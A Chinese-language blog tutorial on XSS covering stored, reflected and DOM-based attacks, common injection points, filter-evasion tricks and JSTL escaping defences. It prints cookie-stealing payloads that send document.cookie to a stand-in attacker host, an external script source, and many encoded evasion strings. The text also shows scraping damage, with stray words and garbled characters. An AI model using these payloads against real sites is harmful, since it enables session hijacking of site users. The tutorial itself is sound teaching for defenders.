什么是Cross-Site Scripting(XSS)攻击

Cross-Site Scripting(XSS)简介

最近才开始研究HTML以及安全问题。若是有什么说得不对的地方,望请指出。javascript

  在网络应用安全中,XSS多是最多见,范围最大,所包含攻击方法最多,同时也是最难以理解的一种攻击。在OWASP所列出的十大网络应用安全风险中,其排名第二位,仅次于SQL Injection。html

  而在本篇文章中,咱们将一步一步深刻挖掘XSS的攻击流程,攻击手段,以及防护方法等各个方面。java

 

XSS示例数据库

  在深刻了解XSS的各个方面以前,让咱们首先了解XSS攻击究竟是怎样完成的。express

  就以一个博客应用为例。其经常须要容许读者对博主的文章进行评论。在输入评论的编辑栏中,咱们能够输入对该文章的评论,也能够输入如下HTML标记:浏览器

1 <Script>alert(“XSS attack available!”);</Script>

  在读者按下提交键以后,该标记将被提交到服务器上,并在其它用户访问时做为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:安全

1 <div>
2     <Script>alert(“XSS attack available!”);</Script>
3 </div>

  而从用户的角度来看,该网页中就出现了一个警告:服务器

  也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。固然,这可能只是一个对该网站的善意提醒。可是对于一个真正具备恶意的攻击者,其所插入的脚本代码更可能以下所示:cookie

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=16 height=16 border=0 />');</script>

  该段脚本将向当前评论内插入一个图片,而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。可是对于恶意攻击者而言,该JSP页面将自动记录传入的msg参数内容,即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息,甚至是用户名,密码等重要信息。网络

 

XSS分类

  上面的XSS示例其实是最容易理解的一种:Stored。除此以外,XSS攻击还包含另外两种攻击方式:Reflected以及DOM Based(Type-0 XSS)。下面咱们就来具体讲解各个攻击方式以及各自的特色。

  首先要讲解的就是咱们已经见过的Stored攻击。该攻击的最大特色就是,用于攻击的数据永久地存储在目标网站的服务器中。试着回想上面所给出的例子:在恶意用户提交带有恶意代码的评论时,为了能让该评论能够被其它用户看到,网站的开发人员必然须要将其永久性地存储起来,例如数据库。使用该方法进行攻击的XSS将对全部访问该页面的用户可见,而且一直保存下去,直到该评论被管理员处理。

  第二类XSS攻击则是Reflected攻击。该攻击的最大特色则与Stored攻击相对:用于攻击的数据并非永久地存储在目标网站的服务器中。

  那这种攻击是如何实现的呢?请试想这样一种状况:某个网站容许其用户经过搜索的方式查找具备特定名称的商户。对于商户名称SomeStore,该搜索功能所返回的页面地址可能为:

1 www.SomeWeb.com/search.jsp?storename=SomeStore

  若是该查找功能没有查找到具备该名称的商户,那么网站将会返回一个错误页面:没有查找到名称为SomeStore的商户信息。此时恶意用户首先能够经过在搜索栏中输入<Script>alert(“XSS attack available!”);</Script>并执行搜索判断该网站是否有XSS漏洞。若是返回的搜索页面出现了“XSS attack available!”消息框,那就表示该页面仅仅简单地将URL中的参数SomeStore显示在了页面之中,而并无对脚本的执行作出防备。接下来,恶意用户就能够将商户名设为以下的恶意代码:

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=0 height=0 border=0 />SomeStore');</script>

  也正是因为搜索页面仅仅简单地将该部分组成直接嵌于页面之上,所以用户从服务器端获得的网页将包含该段代码,其将自动访问hackerhome上的grabber.jsp,并将用户的cookie做为参数msg的值,从而使得受害者的cookie失窃。

  可是如何让用户访问这个页面呢?很简单,恶意用户仅仅须要向那些受害者发送该搜索的连接,并为该连接附上一段具备吸引力的话便可。若是受害者点击了该恶意连接,同时该网站的cookie在受害者的本地机器上没有过时,那么这个cookie将被恶意网站hackerhome所窃取。

  还有一种类型的攻击也被归类为Reflected类型的攻击,那就是利用data:协议动态生成文件。该协议容许客户端直接建立二进制文件,如Doc或PDF文件等,并使用相应应用程序打开该文件。例如,恶意用户能够经过XSS插入下面的连接:

1 <a href="data:text/html;base64,PHNjcmlwdD5vcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9J3h
2    4b28nO2Nsb3NlKCk8L3NjcmlwdD4=" target="_blank">Click me</a>

  若是用户点击了该连接,那么电脑将自动使用关联的程序打开该文件。因为这些文件的读取等动做都须要相应的应用程序支持,所以恶意人员能够更进一步地利用相应的应用程序漏洞执行更丰富的攻击。

  最后一种则是DOM Based攻击,又经常被称为Type-0 XSS攻击。它与前两种攻击方式拥有很大的不一样:Stored和Reflected方式中,对有害内容的生成是在服务端完成的,而DOM Based攻击中,对有害内容的生成是在客户端完成的。例如一个图片浏览页面在URL中使用index参数表示当前用户所察看图片的索引,并经过javascript动态写入HTML元素:

1 <script>
2     var index = getIndex(document.URL);
3     document.write(“<IMG src=’www.imagestore.com/album1984/image?index=’ + index + ‘/>’”)
4 </script>

  那么恶意用户就能够经过在URL的index参数中插入其它信息来完成。例如在该URL中,恶意用户能够为index参数指定参数值后额外添加一部分恶意语句,如通过编码后的index=1/><script>alert(“XSS attack available!”)</script><img width=0 height=0。固然,恶意用户并不会但愿用户本身攻击本身,所以他仍然须要作一些额外的社会工做,例如发送邮件给受害者并诱使他点击该有害连接等。

 

攻击点

  相信通过前面的讲解,您已经了解了XSS攻击所经常使用的三种方法。知道了方法之后,咱们还要知道各个方法的目标,从而更好地在各个目标上对XSS攻击进行预防。

  首先要清楚的是,XSS攻击所利用的都是页面中动态生成的部分。为了能让攻击顺利进行,这些动态生成的部分应能包含一系列代码,以经过这些代码的执行达到恶意用户的目的。更改页面所使用的动态组成是XSS攻击的第一步,而令这些动态组成在动态生成的内容中起做用则是XSS攻击的第二步。所以对于页面中使用动态内容的组成,咱们须要根据其所在位置执行特定的检查。在不一样的位置所容许的动态内容格式并不相同,而咱们要作的就是屏蔽这些使用方法。

  接下来须要读者清楚地是,攻击经常利用了各个组成中的特殊符号或关键字。例如对HTML标记的攻击就能够经过字符’>’将当前标记关闭,从而使插入script标记成为了可能。再好比对javascript的攻击则能够利用表示当前语句结束的分号’;’,进而输入下一句具备危害性的代码。因此说,各类XSS攻击所使用的手法须要根据攻击点所在的页面组成分别进行讨论。

  第一个要说的就是HTML标记。HTML标记能够经过JSP,Javascript等方式动态生成。而在HTML标记中添加可执行代码的最经常使用方法就是<script>标记。例如对于下面的JSP代码:

1 <body … title=<%=title%>>…</body>

  若是title记录的是字符串100><script> alert(“XSS attack available!”);</script,那么最终生成的HTML文件将以下所示:

1 <body … title=100><script>alert(“XSS attack available!”);</script>…</body>

  能够看到,恶意攻击者所精心设计的标记将可以在普通用户毫无察觉的状况下执行恶意代码。

  固然,恶意攻击者也能够选择不插入script标记,而是经过插入别的标记并在标记中插入对事件进行响应的javascript脚原本完成。如令上面的width变量为100><div onmousemove=”doEvil()”/,从而使最终的生成结果变为:

1 <body … width=100><div onmousemove=”doEvil()”/>…</body>

  除此以外,恶意用户还能够对HTML标记中的属性动动手脚。咱们知道,动态生成的HTML经常使用外部的一些变量生成其内容。例如一个JSP页面中可能存在着以下HTML元素:<body title=<%=somevar%> id=textbox>。能够看到,JSP变量somevar用来初始化属性title的值。可是若是恶意用户设法让该变量的值为a onload=alert(“XSS attack available!”),那么该元素的HTML标记将最终变为:

1 <body title=a onload=alert(“XSS attack available!”)>

  也既是将在文档被载入时执行onload事件的响应代码,即为这里的alert(“XSS attack available!”)。

  再好比,对HTML注释进行攻击。若是一个HTML注释中使用了JSP变量,那么恶意用户彻底能够经过注释结束标记打开注释,并在恶意代码以后从新启动注释。例如对于注释中使用的JSP变量comment:

1 <!-- ...<%=comment%>-->

  恶意用户能够尝试令JSP变量comment的值为--><script>alert(“XSS attack available!”)</script><!--。这样,一段脚本就成功地插入到了页面中:

1 <!----><script>alert(“XSS attack available!”)</script><!---->

  除了HTML标记以外,对样式进行攻击也是XSS所使用的一个主要方法。在样式中,咱们可使用expression以及url指定一段代码,以动态求得所须要使用的样式。这也就为XSS攻击提供了一个契机:若是咱们是经过一个JSP变量初始化的样式,那么恶意用户就能够尝试经过将该变量初始化为一个恶意表达式来完成攻击。例如对于以下两种样式:

1 <DIV STYLE="width: <%=width%>">
2 <DIV STYLE="background-image: <%=image%>">

  若是这两个JSP变量的值能够被某种用户输入更改,那么对这两个JSP变量width及image的使用就存在着必定的风险:在加载并使用这些样式的时候,该变量中所包含的脚本代码将被执行。例如在这两个变量分别为expression(alert('XSS attack available!'))及url(javascript:alert('XSS attack available!'))时,该页面的加载将显示“XSS attack available!”的警告信息。

  除了样式和HTML标记以外,对Javascript的攻击也是很是常见的。在Javascript中使用JSP变量是一种很是常见的用法。在这种用法中,恶意用户仍然有办法执行攻击。例如对于下面的Javascript变量声明:

1 var index = <%=index%>;

  对这种变量赋值进行攻击的方法很是简单:使用分号结束当前赋值语句,并在其后添加恶意代码便可。例如令index为0; alert(“XSS attack available!”);。那么最终生成的javascript将为:

1 var index = 0; alert(“XSS attack available!”);

  固然,这里仅仅列出了一些通用的攻击手段,确切来讲,就是攻击的点。而在各个点上进行攻击的方法又会分为不少种,甚至有些和浏览器相关。在后面的一节中,本文就将对这些变种进行简单的介绍。

 

变通方法

  您可能在想:我经过对这些特殊状况进行处理,筛选出这些可能的攻击,那个人网站是否是就安全了?这里的答案是:不彻底安全。首先,对每一个攻击点进行攻击的方法能够拥有众多变种,所以对攻击点的防护并非简单地将具备固定匹配模式的关键字筛选出去便可。其次,随着HTML等技术的演化以及浏览器的不断更新,对各个攻击点进行攻击的变化也在不断发展着。最后,各个浏览器内部对HTML进行分析的过程以及对错误进行纠正的能力各不相同,而有些攻击就是针对这种浏览器的特性而产生的。所以咱们并不该自行实现对XSS攻击进行过滤的筛选器。

  固然,仅仅在这里说XSS拥有一系列变通方式并不能让人彻底信服,所以本节中列举了一系列经常使用的变通方式。

  一种经常使用的规避检测的方法就是使用大小写变化。例如恶意用户能够更改恶意代码url(javascript:alert('XSS attack available!'))的大小写,如url(jAVAsCriPt:alert('XSS attack available!'))。这是筛选器所须要处理的最基本状况。

  除此以外,筛选器还须要可以处理隐式建立字符串的状况。例如在javascript中,咱们能够经过String.fromCharCode()函数隐式地建立字符串。那么经过和document.write()函数的组合,恶意用户能够很是隐蔽地向HTML文档写入字符串:

1 document.write(String.fromCharCode(88,83,83)); // 写入XSS

  而更使人头疼的则是经过编码规避筛选器的检测。例如对于下面的恶意代码:

1 <IMG SRC="javascript:alert('XSS');">

  您能够经过UTF-8的方式对其进行编码:

1 <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

  而不包含分号的UTF-8编码则以下所示:

1 <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108
    &#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

  而该编码也可使用十六进制:

1 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

  甚至只编码一个字符:

1 <IMG SRC="jav&#x61;script:alert('XSS');">

  另外,在javascript中加入tab,回车,换行,\0等符号也须要考虑在内,由于对于众多浏览器而言,这种写法是合法的:

1 <IMG SRC="jav    ascript:alert('XSS');">
2 <SCR\0IPT>alert(\"XSS\")</SCR\0IPT>

  另外,咱们也能够对这些字符进行编码:

1 <IMG SRC="jav&#x0D;ascript:alert('XSS');">

  这还仅仅是一些通用的规避XSS检测的手段。更有一些手段是针对特定浏览器的,更增长了XSS筛选器编写的难度。例如,因为某些浏览器会认为一个HTML元素中的非数字或字母的字符为非法字符,从而认为其后所跟的全部字符为空格,从而使下面的攻击变为可能(元素或者事件上均可以):

1 <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
2 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

  同时,浏览器对HTML元素的分析以及XSS检测器的分析逻辑也有可能致使某些漏洞不能检查出来。例如某些检测器会首先查找匹配的元素,而后再检查元素中的内容。那么下面的攻击将没法被检测出来:<<SCRIPT>alert("XSS");//<</SCRIPT>

  相似地,某些浏览器会在某些不完整元素以后对元素自动进行修补。例以下面的Script元素开始标记之后没有结束标记,而Firefox将会为其添加结束元素:

1 <SCRIPT SRC=http://ha.ckers.org/xss.js?<B>

  这便会致使XSS筛选器的执行失败。

  其实,这里仅仅是但愿您看到,自行编写一个XSS攻击的筛选器将是多么庞杂的工做。对于不一样的网页组成,XSS所使用的攻击手法以及规避检测的手法各不相同。例如若是须要防御的是URL,那么首先须要对该URL进行循环解码操做,而后再检查其是否包含了有害的内容。同时,须要强调的是,各类规避检测的手法实际上都是对攻击手法的掩饰。所以XSS筛选器一般在最后一步真正执行对XSS攻击的检查,而前面的各各步骤,如解码等,都是用来识破真正攻击的环节。

  而咱们真正要作的,则是正确地使用已有的解决方案保证网站的安全。

 

防护方法

  当前,最经常使用的防护方法就是在生成网页的时候对不信任的输入进行检查,如URL以及动态生成的HTML标记等。而对于JSP/Servlet而言,最经常使用的方法就是JSTL(JavaServer Pages Standard Tag Library)的<c:out>标记及fn:escapeXml()函数。在页面中从新展现用户输入的时候,软件开发人员能够经过这些标记对XML进行筛选。

1 <input name="foo" value="<c:out value="${value}" />">
2 <input name="foo" value="${fn:escapeXml(value)}">

  能够看到,该方法是在JSP页面生成HTML页面的时候进行的。其实这是一种最多见的JSP页面处理方法。首先,咱们没法在用户输入的时候知晓该数据将以什么方式传递回客户端。例如对于O'Malley,用在Javascript中时应为O\x27Malley,而在HTML中则应为O&#x27;Malley。另外咱们也没法保证是否某些数据已经经过其它漏洞被恶意修改。还有一个缘由则是,一旦这些数据发生了更改,那么想要还原这些数据是不可能的。最后,对于恶意用户,系统管理员也须要经过数据库里所记录的恶意信息寻求执行法律处理。所以,在通常状况下,对用户的输入在输入端进行筛选及验证经常只是一个补充的验证手段,而很难全面地防护XSS。总的来讲,这是由于XSS其实是一个输出上的问题,而不是输入上的问题。

  一个较为困难的状况就是某些网络应用须要容许用户使用HTML的部分标记以提供对某些格式的支持。现有的一个比较好的作法则是首先将存储在数据库中的用户输入(如特定编辑器的输入)转化为html,而后将该html流经过一个白名单进行筛选,以清除危险的html标记及属性设置,并最终显示在页面之中。

  通常状况下,软件开发人员须要按照以下方式提供一个安全的HTML实现:

  1)       在页面的最一开始显式地标明Charset,以防止再被插入其它标明字符集的Meta信息,以容许UTF-7攻击。

  2)       检测URL以将其中包含的各类编码转化为固定编码。

  3)       检测CSS以防止其包含javascript或expression等可执行组成。

  4)       将全部用户输入都进行一次转化。例如将<替换为&lt;等。

  5)       检查全部的页面属性设置,以防止属性值没有被引号括起,或某些事件响应函数能够被用户输入所改变。

  6)       不容许用户所提供的HTML。

  7)      防止DOM攻击。

 

总结

  全部类型的攻击实际上都是整个攻击过程当中的一个点。特定类型的攻击利用程序中的特定漏洞。如XSS利用的就是网站中能够插入并执行用户输入的代码这一弱点。然后续的攻击手法,例如利用插入的脚本代码仿造用户行为则是CSRF。通常状况下,XSS并不可怕,可是若是XSS可以成功地完成攻击,那么软件开发人员就能够经过XSS完成更危险的攻击,如插入提交代码转移资金等。因为此时用户处于自身所下载的页面中,所以CSRF防护措施根本没法有效执行。

  XSS其实是一种特殊类型的code injection。其最主要的特色就是利用动态网页的动态功能插入恶意代码以得到隐秘数据。而将数据传送到其它网络或将用户链接到其它网络的这一步骤则是恶意用户经常采用的行为,也即是跨站这个名称的由来。

相关文章
相关标签/搜索